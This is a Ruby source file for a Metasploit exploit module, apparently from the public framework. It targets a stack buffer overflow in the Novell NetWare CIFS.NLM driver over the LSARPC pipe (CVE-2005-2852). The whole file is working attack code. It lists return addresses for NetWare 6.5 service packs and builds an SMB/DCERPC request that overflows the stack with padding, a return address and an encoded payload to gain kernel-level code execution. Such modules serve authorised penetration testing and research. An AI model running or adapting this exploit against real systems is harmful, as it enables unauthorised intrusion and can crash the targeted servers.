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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
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        Since the driver runs in the kernel space, a failed exploit attempt can
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        cause the OS to reboot.
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      },
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      'Author'         =>
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        [
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          'toto',
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-2852' ],
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          [ 'OSVDB', '12790' ]
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00",
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        },
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      'Platform'       => 'netware',
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      'Targets'        =>
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        [
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          # NetWare SP can be found in the SNMP version :
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          # 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
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          [ 'VMware',   { 'Ret' => 0x000f142b } ],
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          [ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
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          [ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
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          [ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
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          [ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
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          [ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
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          [ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
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        ],
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      'DisclosureDate' => '2007-01-21'))
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true,  "The pipe name to use (LSARPC)", 'lsarpc'])
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      ])
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  end
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  def exploit
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    # Force multi-bind off (netware doesn't support it)
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    datastore['DCERPC::fake_bind_multi'] = false
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    connect()
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    smb_login()
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    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    stb =
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(0x000f0fff)
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    resp = dcerpc.call(0x2c, stb)
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    handle, = resp[0,20]
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    code, = resp[20, 4].unpack('V')
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    name =
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      rand_text_alphanumeric(0xa0) +
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      [target.ret].pack('V') +
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      payload.encoded
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    stb =
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      handle +
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      NDR.long(1) +
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      NDR.long(1) +
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      NDR.short(name.length) +
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      NDR.short(name.length) +
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingStringPreBuilt(name) +
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      NDR.long(0) +
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      NDR.long(0) +
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      NDR.long(1) +
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      NDR.long(0)
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    print_status("Calling the vulnerable function ...")
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    begin
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      dcerpc.call(0x0E, stb)
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    rescue
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    end
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    # Cleanup
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    handler
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    disconnect
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  end
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end
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